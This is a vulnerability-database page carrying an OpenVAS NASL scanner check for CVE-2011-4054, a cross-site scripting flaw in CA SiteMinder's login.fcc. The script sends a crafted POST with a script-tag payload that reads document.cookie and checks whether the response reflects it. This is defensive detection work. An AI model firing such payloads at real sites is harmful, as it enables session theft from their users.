Lucene search
+L

CA SiteMinder 'target' Parameter Cross-Site Scripting Vulnerability

🗓️ 19 Dec 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 259 Views

CA SiteMinder 'target' Parameter Cross-Site Scripting Vulnerability. Improper validation of 'target' parameter in login.fcc allows remote attackers to insert arbitrary HTML and script code

Related
Refs
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2011-4054
8 Dec 201111:00
cve
Cvelist
CVE-2011-4054
8 Dec 201111:00
cvelist
EUVD
EUVD-2011-4006
7 Oct 202500:30
euvd
NVD
CVE-2011-4054
8 Dec 201111:55
nvd
Prion
Cross site scripting
8 Dec 201111:55
prion
RedhatCVE
CVE-2011-4054
22 May 202503:42
redhatcve
securityvulns
CA20111208-01: Security Notice for CA SiteMinder
11 Dec 201100:00
securityvulns
securityvulns
CA SiteMidner crossite scripting
11 Dec 201100:00
securityvulns
CERT
CA Siteminder login.fcc form xss vulnerability
7 Dec 201100:00
cert
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902800");
  script_version("2025-03-05T05:38:52+0000");
  script_cve_id("CVE-2011-4054");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:52 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2011-12-19 16:16:16 +0530 (Mon, 19 Dec 2011)");
  script_name("CA SiteMinder 'target' Parameter Cross-Site Scripting Vulnerability");

  script_xref(name:"URL", value:"http://secunia.com/advisories/47167");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50962");
  script_xref(name:"URL", value:"http://securitytracker.com/id/1026394");
  script_xref(name:"URL", value:"http://www.kb.cert.org/vuls/id/713012");
  script_xref(name:"URL", value:"https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID={A7DA8AC2-E9B4-4DDE-B828-098E0955A344}");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert arbitrary HTML
  and script code, which will be executed in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"CA SiteMinder R6 SP6 CR7 and earlier
  CA SiteMinder R12 SP3 CR8 and earlier");

  script_tag(name:"insight", value:"The flaw is due to improper validation of user-supplied input passed
  to the 'target' POST parameter in login.fcc (when 'postpreservationdata' is
  set to 'fail'), which allows attackers to execute arbitrary HTML and script
  code in a user's browser session in the context of an affected site.");

  script_tag(name:"solution", value:"Upgrade to CA SiteMinder R6 SP6 CR8, R12 SP3 CR9 or later.");

  script_tag(name:"summary", value:"CA SiteMinder is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);

host = http_host_name(port:port);

foreach dir (make_list_unique("/siteminderagent", "/siteminder", http_cgi_dirs(port:port)))
{

  if(dir == "/") dir = "";

  url = dir + "/forms/login.fcc";
  req = http_get(item:url, port:port);
  res = http_keepalive_send_recv(port:port, data:req);

  if("<title>SiteMinder" >< res)
  {
    postData = 'postpreservationdata=fail&target="><script>alert(document.' +
               'cookie)</script><"';
    req = string("POST ", url, " HTTP/1.1\r\n",
                 "Host: ", host, "\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: ", strlen(postData), "\r\n",
                 "\r\n", postData);

    ## Send crafted POST request and receive the response
    res = http_keepalive_send_recv(port:port, data:req);

    if(res =~ "^HTTP/1\.[01] 200" && '><script>alert(document.cookie)</script>' >< res)
    {
      security_message(port:port);
      exit(0);
    }
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation